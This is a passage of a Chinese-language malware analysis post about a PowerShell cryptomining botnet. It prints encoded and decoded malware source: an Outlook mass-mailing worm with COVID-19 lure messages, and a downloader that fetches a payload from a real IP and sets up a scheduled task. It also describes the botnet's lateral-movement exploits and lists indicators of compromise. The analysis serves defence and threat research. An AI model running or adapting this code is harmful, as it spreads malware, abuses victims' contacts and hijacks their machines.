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Rm/Kdt9NX36nWJ995/nzn/vGb9vTdtyke2Ls4+c6Tg+OffP4Tz87efXn9E3vzyfFPPrv75Rtan3r1+xz8xOn9s89ff5I9eba7vHf1RTNfnH5+d/c+5Vquzk7PT1/X7769/+b1u9Pz8he9Oy3Ov5r/oie/95OvTn968qZ5vbr+fe7t55evTh4+fL16t798sD//bvZTT769evp7/8S9hy/fPt/Z/8716U9f7mcH99/t/V4/1Tx5dv/e5duCVNuT5+3zq1n15buv5m9evXhIPvRP3N35fa7JzF9c3P3qNFtOv7P+farjb5ffoQXk3U9eXix+r9/r6vf+qesVRe1fPDjLn50cXEy/eDZ9O394fPfyB0/f/OCT2Q9ePXn31ee/19nv3e78dLX'+'zZXbx7ifePKGg44xI/vTgYPWTO199/nLZHv8+11+8+87l3rMvz746nazyL36wvvqE1PX14ovyJ8++fDCt3hVfPn3y+cPLr16unpz/9HXx5AckL7/35duHL774dvPV+qfePKme/D7llFL298vVT1yeLX/y2wf1d5/TWtjrFy+ffP7t1e/19PV3F4vf6/c+/fQXvfr89zo9fnB27217Olutq8liunf27t7dt0/PHhzMl89mT65evS0fvP5FZ/eL+3vz6f1PZq/ufXn+7uTp5RfNvZPm8qv81ZPZ26++WHz1E2dX1Xd/ryfl1eT+7/Xq/oPPKd57vXhw/NW0/L13Xj87OLv4zo'+'O9T3/iujxblO319Ntf/F7Nt8/PfuI7J0X1k1ev9t5Mrs9P3u7+xNN6f/8nXhRPZs8pX3z23eoX/cT0Oz/RVLOT5z99/vs83F/cffPs+ao83/npZ1e7Jxffef17tQ+fHX/5E9/e+Wpn/jzfPb63+/Jqevf+5U+c3//ppz/x7VdfPX1QvHy3zO8fFJP6+m67k1Mc/AXl'+'Hd59fjGrPilef3H/9dPLq8n07ZvVT1x9h7p7/dXdM/KEFy/fLn+fxfyrnS9P7xXZT3/5Uw9PKW/58qf3337y05TjPr07fXhSvrg6/mL/p5+8zl/+op+42F98/vmD49X0J3d+0ezlyZu9L2kh9UH78kH59LufXpI+2yk+XeWvvnP1E5fNxU98+nsd3z39Ra8nV7/ou69ffPKmmDR3z37vF9+u24vmxeX6q09nn/705MXv/XtfT/PsyYPFzt3llw8mn++cz+/vvPjupP3kB28/zZ9f/NSD6190+e6nX9x/cT779Ks3+9XDZ8+/3Zzc+8n1D5aT0+/kp4v68we/V9O8Wl7MfrDz3b3n5Rc/fXzv93nze739/NXJu4dPT6+eXv3E7/Nyf0r6apVd3Pv84fN3b+b3Hzw4uPvgwaLen2dfLpsHXz549RPzL746++7809Wni+z3+s7vUz5ry+onr/fXX52uzpcnq7cHv8/dV6dfXlbz9ZN8Tcs5Tz9fZi8nJ6t3B7/o/CJrVlc7ewcvD052fuo7J6/uvX46eXVx8XsV59Pf5/ehbOGTi9fz5/Xr+cF36v3ld788f3uXHOb1D/Jn5zu/19Vq9eb3Wt4/Xazyk+m9xe8zff2sXu/83pTEPfvki5eff/Xg+jufzC+fLl/Nz1//3l9VP/X2vCI3++Ll569nBz99f7+uLtaU25o1FOKsfq/my7uvKPY+/al3++X8qzdvJ/ePd3Ym+cUXLxY/eHPvi/xssvvuDSmqt+WX+9d7L7PVp9eUcv6pxe/99MFPz5brvXs/db9t984nB9+dnn7+g+IHT8rj3+fqdb5++t1ZQYnjByfNs8vd32e2Uz88X/zev+jui3P9/92f/HTyyYOdveXdSXb+xap9Wv10UX05P73fLA/eze6+evPtd79X9lOfX7zKpz/I3uYH1dN3P/VTi71PJqQE1s01ZZdmzU+93Z08f/6de68+f3nwE/n6xeTey99rdf8HlwfPzu9Xq4vf++GX+euX7fLZdz5pyrs/tXf5+d6Dp8u71wWFN/lP/V6793/qJ7/6vX/yJ/d2du++uXe1n9/dO/v2F/d27v3gJ39q/flX3z7fn1xRWFpmZ+u719++eD07P8muZw+PfzIrz2a/z/L8Ojt4sv/5wfOT/ZP829OXv/cPXj67O8kf7v/kA2TQL6sH1y9/8tP7dx/cf3j+8hd98vwH72jNa/rlvcv82fwHq2bnk1W+93tdt6ufXv3U5+/q5t7szcW9tzsvHi4ekhfyyeLJ6m6+SxrtBz/xBcWBy8+v9r79i+7VzXlLeYRf9CCryvYHn2QHyxeTojib7P+ivR8cv9yZVS8vKR+33JsQ/Puzn1r+5L2v9r77i0gO19998PtMzx4sHvw+V/nl7ur5V/vnJ3vHORnQq+fZupxPz49P9t/ufFkWL6afZFW9LN8e7331ySenb2lRY/FTP3X/k997nv/g6uF8smqXz9/Of5/Z/fKr+9efXO68Of90fff8F/30ydnyoHq7Oq8fnK2u85988HT98s3p87vLd9PvHrz5ybsvvzt9dTn/qatnzyjsu/jO/u/9g3zv8+z3+vz0q7t70+rNk5+8d+/F7/Pw6jvNZTNfvvu9V/N3v+gnP/10ll09/OnzJ3uUGfnu7/X51e91ff0TxU89+fQH188++fLip3/Ry9/72aenx1+cVvXBZfUT+58f53sPH3zy5OTT8+88ufd7N5fLJ5+Sh7Sz84seUtp1d/rJybeXD548/fbTTya/aGd6+Z1Pfp97zU8c1MWzh5f3q/lX79bHP/m2pRXx48X9V8f526ufmn/5e//ev88XB/Pz/Pj43sXz6Q9+n3qe7T+f1E8++eThLzq+94v2f9FlkTefL189O/n287NP67vPn1fVszfTyeWrdy/2vpp+/tPTy/Ovfmry098lgTj98sn5znK3/L0fHP/Ug5PL3/vp9Kd2mt9r9Z3VtJrdXx88n72qdx/+4Ns/fV7tZQffOfju8U9U1flP5/v3H1x8MnmYlxdf/qL86eQnvt1e/t7n73bnD3a/83v93g9fvHo6q+5/evDtgzc/9Ys+qXdePPhq9xd98tO7D4ufuvzq4bfXJ+v7tJC0fvjk3s79F5fX+brdffrmwdXy3bOiri5/n9knJ9e/986y/On8Jy4WFD6/Xl5c/NRP7rxcf/nJ9e9TPvz2/u9zrzz7zuXr85/47qfFxcN3D/ae/9Sbn/hk79n9z+m98+LBpz/9uq7uLZsvP3lL7b/zYP/eV/vcfu/TBdp/ivb59Xc+5X7mTy6r3+f5F+vPD14cvPup3+vTp3vvLs++ep3/9CdnL7j9vR88/6nfG+3ve+3JAS7uffXV8wcP9n/v8qe/qquX02/PVmfPv6iaz9vj2f0vTyY0hHr25ifWB995+OT3+UWf0prd+dUB4XP'+'/97n3lvE/VfzvGfzfvqOEB4WOX+18+/LLT34w+b1+r2/fe/XyJ777ev3TD89e3P/8yWz37g/uffv8F529WV++++T3enG9mD+8IjP/7vfeuVe9zFdnr6efPr9a1vXsJ9DvwSvq9/net88vmki/9+69Ibzvvjk5WL2ifj89uffV6bcvX+bvuN+ru2d71O+bh/sv9t9e1Z8+fLrz7fPsi9d71U+f7+7+5AnN187Mn69K5+vg1eQX/V5PKbM5bcsXTx7Q+uTz79By9unnD1//RH7w4H7Z/KLqfHZ6MAetd+aE07N7v/ek2nn13d/n3u99Qvr4YDn5qcVytX/5ky8/X/9e98ts/5PlcXvv+d5PXC5+qnx39fyT4++8uZxnxz95/yfP75NYL68/WXy7Ps2e7ezNrmar47tPviyvzlYPv9qdkS746vOzb19l7U9QHusr8rSr9dlPrj+5fPr7zJ7Onz1/QN7Gm4ezYv/5vcndt+VdrGUdPP34Dj2j9HtnX45PqsWqzpumqJb+719Us/z7jx49zaf6Gbd/k79rx6dLkp1ieUFfH78+OTu7c2f8Ks9mb6rT5WyL/qjzVZlN862PjvX5aPS7kYMz/f3boi1z7/sn+tjvCbr39TQrp+P8XU5fz2b57z9dzO78xsnW71a357//nPrL60/w+7hZT5q2Jny27t258zPVut0+L8o83c4VzTRrpkWR/m5Z2/7+1MtvnPzGyf8D')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()$global:contacts=@()$global:sent_tos=@()$global:recv_froms=@('+')$global:mail_pools=@(("The Truth of COVID-19","Virus actually comes from United States of America"),("COVID-19 nCov Special info WHO","very important infomation for Covid-19see attached document for your action and discretion."),("HALTH ADVISORY:CORONA VIRUS","the outbreak of CORONA VIRUS is cause of concern especially where forign personal have recently arrived or will be arriving at various intt in near future.see attached document for your action and discretion."),("WTF","what's wrong with you?are you out of your mind!!!!!"),("What the fcuk","are you out of your mind!!!!!what 's wrong with you?"),("good bye","good bye, keep in touch"),("farewell letter","'+'good bye, keep in touch"),("broken file","can you help me '+'to fix the file,i can't read it"),("This is your order?","file is brokened, i canzT'+'F5nt open it"))$curr_date=Get-Date -Format "yyyy-MM-dd"function get_contacts($ol_folders){    $folders=$ol_folders.folders    if($folders.count -ge 1){        foreach($folder in $folders){            get_contacts($folder)        }    }    foreach($item in $ol_folders.items){        if($global:contacts -notcontains $item.Email1Address){            $global:contacts+=$item.Email1Address        }    }}function get_recv_froms($ol_folders){    $tcount=$ol_folders.items.count    for($i=$tcount;($i -gt 0) -and ($i -gt ($tcount-500));$i--){        $item = $ol_folders.items.item($i)        if($global:recv_froms -notcontains $item.SenderEmailAddress){            $global:recv_froms+=$item.SenderEmailAddress        }    }}function get_sent_tos($ol_folders){    $folders=$ol_folders.folders    if($folders.count -ge 1){        foreach($folder in $folders){            get_recv_froms($folder)        }    }    $regex = [regex]"(?i)\b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b"    foreach($item in $ol_folders.items){        foreach($m in $regex.matches($item.To)){                if($global:sent_tos -notcontains $m.value){                $global:sent_tos+=$m.value            }        }        #$global:mail_pools+=,($item.subject,$item.body)    }}f'+'unction del_sendmail($name,$size,$flag){    $ol_out=$ol.Session.GetDefaultFolder($flag)    $tcount=$ol_out.items.count    for($i=$tcount;($i -gt 0) -and ($i -gt ($tcount-200));$i--){        $item = $ol_out.items.item($i)        foreach($attach in $item.Attachments){            if(($attach.Filename -eq $name)){                $item.Delete()                write-host "Delete mail with attach:"+($attach.Filename)+"..."                break            }        }    }}function Add-Zip{    param([string]$zipfilename)    if(-not (test-path($zipfilename)))    {        set-content $zipfilename ("PK" + [char]5 + [char]6 + ("$([char]0)" * 18))        (dir $zipfilename).IsReadOnly = $false      }    $shellApplication = new-object -com shell.application    $zipPackage = $shellApplication.NameSpace($zipfilename)    foreach($file in $input)     {             $zipPackage.CopyHere($file.FullName)            Start-sleep -milliseconds 500    }}$ol=Ne`w-Obj`ect -Com outlook.applicationget_contacts($ol.Session.GetDefaultFolder(10))get_sent_tos($ol.Session.GetDefaultFolder(5))get_recv_froms($ol.Session.GetDefaultFolder(6))$muser=$ol.session.accounts.item(1).smtpaddress$att_zip_name="readme.zip"$att_zip=$env:tmp+"\$att_zip_name"dir $att_js|Add-Zip $att_zip$att_zip_filesize=[io.file]::readallbytes($att_zip).length(New-object net.webclient).downloadstring("DOWN_URL/report.json?type=mail&u=$muser&c1="+$contacts.count+"&c2="+$sent_tos.count+"&c3="+$recv_froms.count)$ran_index=(get-random)%$mail_pools.length$mail_subject=$mail_pools[$ran_index][0]$mail_body=$mail_pools[$ran_index][1]del_sendmail $att_zip_name $att_zip_filesize 6'+'foreach($sent_to i'+'n $sent_tos){    if($contacts -notcontains $sent_to){        $contacts+=$sent_to    }}foreach($recv_from in $recv_froms){    if($contacts -notcontains $recv_from){        $contacts+=$recv_from    }}foreach($contact in $contacts){    $mail=$ol.CreateItem(0)      $mitem=$mail.Recipients.Add($contact)    $mail.Su'+'bject = $mail_subject     $mail.Body = $mail_body    $mail.Attachments.Add($att_doc,1,1,"readme.doc")    $mail.Attachments.Add($att_zip,1,1,"readme.zip")    "Sending mail..."    $mail.Send()    write-host "Send mail to $contact succ..."    sleep ((get-random)%5+5)    del_sendmail $att_zip_name $att_zip_filesize 4    del_sendmail $att_zip_name $att_zip_filesize 5    del_sendmail $att_zip_name $att_zip_filesize 3}remove-item $att_docremove-item $att_jsremove-item $att_zip"Done"}'@.replace("CORE_URL",$core_url).replace("DOWN_URL",$down_url)if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")){    $sesscmd='powershell -c $pipe=new-object System.IO.Pipes.NamedPipeServerStream(''\\.\pipe\HHyeuqi7'');$pipe.WaitForConnection();$sr=new-object System.IO.StreamReader($pipe);$cmd=$sr.ReadToEnd();$sr.Dispose();$pipe.Dispose();I`Ex($cmd);(new-object System.IO.Pipes.NamedPipeServerStream(''\\.\pipe\HHyeuqi7'')).WaitForConnection()'    [Utils.ProcessExtensions]::EnumSessionsAndExecCmd($sesscmd.Trim())    $pipe='+'new-object System.IO.Pipes.NamedPipeClientStream("\\.\pipe\HHyeuqi7");$pipe.Connect();$sw=new-object System.IO.StreamWriter($pipe);$sw.WriteLine($mail_code);$sw.Dispose();$pipe.Dispose()    (new-object System.IO.Pipes.NamedPipeClientStream("\\.\pipe\HHyeuqi7")).Connect()    "Done and exit..."}else{    I`Ex $mail_code}new-item $env:tmp\godmali4.txt -type file -force
*/

该脚本首先检测了是否存在outlook,如果存在则遍历通讯录并发送带有恶意宏的word文档,同时清除发件箱中的记录。

发送的主题和正文内容为以下随机一组,均为诱导受害者打开带有恶意宏的Word文档

代码语言:javascript
复制
主题 The Truth of COVID-19正文Virus actually comes from United States of America主题 COVID-19 nCov Special info WHO正文very important infomation for Covid-19,see attached document for your action and discretion.主题 HALTH ADVISORY:CORONA VIRUS正文the outbreak of CORONA VIRUS is cause of concern especially where forign personal have recently arrived or will be arriving at various intt in near future.see attached document for your action and discretion.主题 WTF正文what's wrong with you?are you out of your mind!!!!!主题 What the fcuk正文are you out of your mind!!!!!what 's wrong with you?主题 good bye正文good bye, keep in touch主题 farewell letter正文good bye, keep in touch主题 broken file正文 can you help me '+'to fix the file,i can't read it主题This is your order?正文file is brokened, i can't open it

ode.bin 下载者

代码语言:javascript
复制
$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f225ee76d9a6e7dfcf4e34f3edefdbd8e3ffdf80efd95a61fa5e99df4cea7f7beff2a9b4fbf37faf87aa7fe38cda759f9f2f4d576fad07c7e67e7a1fcf6c9c3dd5df3db81fc4250ec0b7bda6c74e7e1be36dbdd332fdcb32f98f6773efe8d93df3821047eeaeaf7d9bd7e4dff8eee3c78f0fd57c7684e88ee5067f4e3d531fd838ff6efe33bfa83806c9d1290555e8f197bbcf1fd8b176775db50e7dc270339d835bf7dfaa9fce2bdb8df7d911038787545ffba36208176efe0efdd37e0f7f59707a61f1fbcc1425e242078f7537a977e95d70f0c1c1db4f73661f14b409d5f42bf7c42ffff31fd89cff4d71c3f0916fd288bf3d47cba721f5fcb0f7cdc6edbdfe997df27dd9fb799fcaa9facae2fb529fdf5447f4d17797bb6ed5ebbcaed3bbfcf8b1f7338d95f7e097f265df9283fd3dfef1ac0fa93e8dde8af93cb71dbeaef5f2cf5974fbf587eba22241e19e4cc17b945f7c94f5177b6d303308c7e7395d6edddf440ff7a75952f32f33a8df609f59d2eb5470caa8bdbcefdb45ad017f6f3d3375fbd383318722be9736a867037cddb2cafa777d3e66d93b5f369934eef529b347f978f67da6831fd858632f49547c4df38698806fa67dbd2c8bfd03f8806e6e5dc7cffe872697ebfd69f974fd299a5cf6a75bc6d79a22c9e6116a93f7e77fda519d2c1effd22dddf599b76b3623eb91c598ae9cfabfd1dfd6d9d7e92ce0d06d92a5fe8efd9d220e84d8b76f189c182fa31bf128574d6e88fd962eae6285daeeb7183ef1c5a96461e731972792c43bce2f8dda35840aa4b8b97fe64da7429e2fad9a11f6bfaff1dfd9e98a62cf3f9ebb1e97755d453c8f677dd18b6f437d3649afff4e44be68c9fb27370e211e033d377033e4ccd6bf9eb7dfd6d676d29e0b3cb2f36a36acafc97fcd88fb19c31bb1192739e1ecbeff4a99ba1271eb921216e680e274fb92c8cccf397810811d11bfdf3aa9ab9b797c577e92b371bed7965da55f5b4f882be3cb0dc058c97ed5df336ff48217cda60e109a0fef6d50bfde5ec8b74dadc4dbf387df3faf7d18f5e9bd6ebda0e4d09856140edc96724a7a6a941eeadf925339320329c1a4abf332f13a8f1ccb0ff547f1ac1463f321ffac52f36ec43dfb4c5a2ce572cb342202b315be7fa5b8197dd1bfa3b13e617dfb9e3a471273f375ac52008fd37997d6afedac976e53d6e73be73ff60ffc0f472efc18307faeb4387f7a7fbd9bdf3dc715efa8b723500bf4f7ae7ce9d390c999090e182c9f4eb253862abc9dbeb276579ac1fce2cb9f5e7ab478fbe0f991b7f7946aec0fdd9e2626bcb4c9319cc32db66a74009045e3650c2de0c625e8b6d33738488feb6b5755ef87273c7536116aefe02f02aa24b99a49f826275c8f4b523a47f91d599b3a04f7e0fd38107950738ded9bbbb67e66f6fbc7f7f577f1f3f7c387e60a66df7aee1cc470641abe70cee077023acaa218a9ed3df868059457f9490541e0bcf1409e8f88e81b2cc0bfd0d0da7fafb24bf1ab7f9326da766b67e7aa2bf1861dcbeca97a653c7a4a48bf437624f4b5d838ce340cc194d96f9e2636825fbe576db98d1b45bbf2bcd99056efb211505530ac526ea875e26ffc000b45e027dbccc1d7fc0d27f968a4a347d7b16eb89370e7af3ce9d8374b15e98eedf99c933d6d89ad57d6eb62cbeb09f2c0c991c27bf32d2d3e69f6fa5ed725d9d5838ae39da5103ab8af5e7ef4de8185597ded9dbdb35eec1b823b9bf8f9993ef9b9fdfab9dab96cda7df33ed4c179ead2ce85760a27cffd3db442cfdcaf0c14d64d35fac52c7a45e54e5f8adfefdd62894b7e613e7e2594b6dfaec4d2770f52c384d277d6050fc2c751cc71c25f3beb5050df27be39befefdffb5efec597df7ebda2f8e693efefee51abefd1ff4f175f7ebbc167140a8d3fdea2373efe7859543fbdfdfdbdd1eeee885e5a642fc6773efe563dfbe25b1fa7a7cf9f1c9fbdca2eb7dfe4d059bf50a2a7c374fba7bf3c7b41203e3f6db7cfdafc8b74eba3cbe3bac83efae4a3c973fae7f4d1d3ddb7c7f4cba71f51ac33be3c2ebfcabfb7bd3b1e6f6fbddf4be3f2f4c5e76fe677be9ffecc98fadbfa5ef3e6d5d98bcfbfffbb5d9ebe7af26573faf255feecb43e5d9ee477be47e87fff938f7fef8f19b98f3fbef31b27ff0f'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

简单解密去混淆后

代码语言:javascript
复制
 & ((geT-vaRIABLE '*Mdr*').Name[3,11,2]-join'')((('. ( $psHOmE[21]+$pSHOMe[34]+'X')(('$path4 = "$env:temp6nMkk4kk.log'$pname = -join ([char[]](97..122) NX8 Get-Random -Count (Get-Random -Minimum 4 -Maximum 8))$pnamepath = "$env:tmp6nM$pname.exe"if(!(test-path $path4)){    (new-object net.webclient).downloadfile('http://167.99.154.202/20.dat?$params',$pnamepath)    if((test-path $pnamepath) -and ((gmd5 ([IO.File]::ReadAllBytes($pnamepath))) -eq u04ef3a4697773f84850fe1a086db8edfe0u04)){        if($permit){            &cmd.exe /c schtasks /create /ru SYSTEM /sc MINUTE /mo 50 /tn '\Microsoft\Windows\$pname" /tr '$pnamepath" /F        }else{            u04Set ws = CreateObject('Wscript.Shell")u04 | Out-File $env:temp6nM\tt.vbs            'ws.run 'cmd /c ' + $pnamepath + u04',vbhide' | Out-File -Append $env:temp6nM\tt.vbs            &cmd.exe /c schtasks /create /sc MINUTE /mo 50 /tn "$pname' /tr '$env:temp\6nMtt.vbs" /F        }        New-Item $path4 -type file    }}').replacE(|,|).replacE(',').replacE('"',").replacE($,[strINg]$).replacE(\,'\') )')-REPlace \,\ -REPlace  ',' -REPlace '$',$) )

主要功能从167.99.154.202下载20.dat并设置为计划任务,下载的文件是一个pyinstaller打包的可执行文件

if.bin 横向核心文件

脚本解密后为1W+行的powershell文件,粘贴后篇幅过长,故文章截取主要功能进行说明

在后续横向扩散过程中标识受害机存在的漏洞并从http://t.amynx.com下载以下存在对应漏洞的文件:7p.phpipc.jspipco.jspms.jspmso.jsprdp.jsprdpo.jspcore.png(通过参数rdsrdsosshssho判断主机存在的漏洞)、smgh.jspsmgho.jsplogic.jsplogico.jsp

依次尝试ipconfig /allipconfig /displaydnsnetstat -ano获取本机内网地址网段,并访问https://api.ipify.org/获取本机外网IP用于后续扫描

脚本内置C类网段:

•192.168.0•192.168.1•192.168.2•192.168.3•192.168.4•192.168.5•192.168.6•192.168.7•192.168.8•192.168.9•192.168.10•192.168.18•192.168.31•192.168.199•192.168.254•192.168.67•10.0.0•10.0.1•10.0.2•10.1.1•10.90.90•10.1.10•10.10.1•172.16.1•172.16.2•172.16.3

内置模块如下

MS17-010扫描+利用模块

SMB1/2匿名登录扫描、暴力破解+利用模块,用于将批处理文件复制到远程机启动目录下

IPC空连接扫描模块

Hadoop yarn 框架RCE模块

weblogic CVE-2020-14882/14883 RCE模块

mssql xp_cmdshell命令执行模块

•内网扫描模块•USB快捷方式漏洞利用模块•利用powerdump转储本机Hash模块•利用Mimikatz获取本机Hash模块•SMB-Ghost漏洞利用模块•SSH爆破模块•探测是否为公网IP模块•redis命令执行、写计划任务模块•RDP暴力破解模块•预置字典,用于组NTLM hash、爆破模块

•扫描信息回报模块,用于将扫描的信息回报到http://d.ackng.com/log.json

kr.bin 挖矿核心

脚本功能如下:

•判断本机是否为公网IP•检查当前用户是否有SeDebugPrivilege权限•矿池通讯•循环干掉竞争对手进程

•循环干掉竞争对手服务

IOCS

IP

•128.199.183.160•45.61.139.154•161.35.107.193•66.42.43.37•167.99.154.202•139.162.80.221•128.199.183.160•128.199.188.255•167.71.158.207

Domains

•http[:]//d.ackng.com•http[:]//t.amynx.com•http[:]//t.zer9g.com•http[:]//t.zz3r0.com•http[:]//t.jdjdcjq.top•http[:]//lplp.ackng.com

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 起因
  • 分析
    • 1.txt
      • powershell命令 下载执行PS脚本
        • gim.jsp 第一阶段攻击脚本
          • a.jsp 第二阶段攻击脚本
            • report.js 结束进程脚本
            • if_mail.bin 垃圾邮件攻击模块
            • ode.bin 下载者
            • if.bin 横向核心文件
            • kr.bin 挖矿核心
        • IOCS
          • IP
            • Domains
            相关产品与服务
            弹性公网 IP
            弹性公网 IP(Elastic IP,EIP)是可以独立购买和持有,且在某个地域下固定不变的公网 IP 地址,可以与 CVM、NAT 网关、弹性网卡和高可用虚拟 IP 等云资源绑定,提供访问公网和被公网访问能力;还可与云资源的生命周期解耦合,单独进行操作;同时提供多种计费模式,您可以根据业务特点灵活选择,以降低公网成本。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档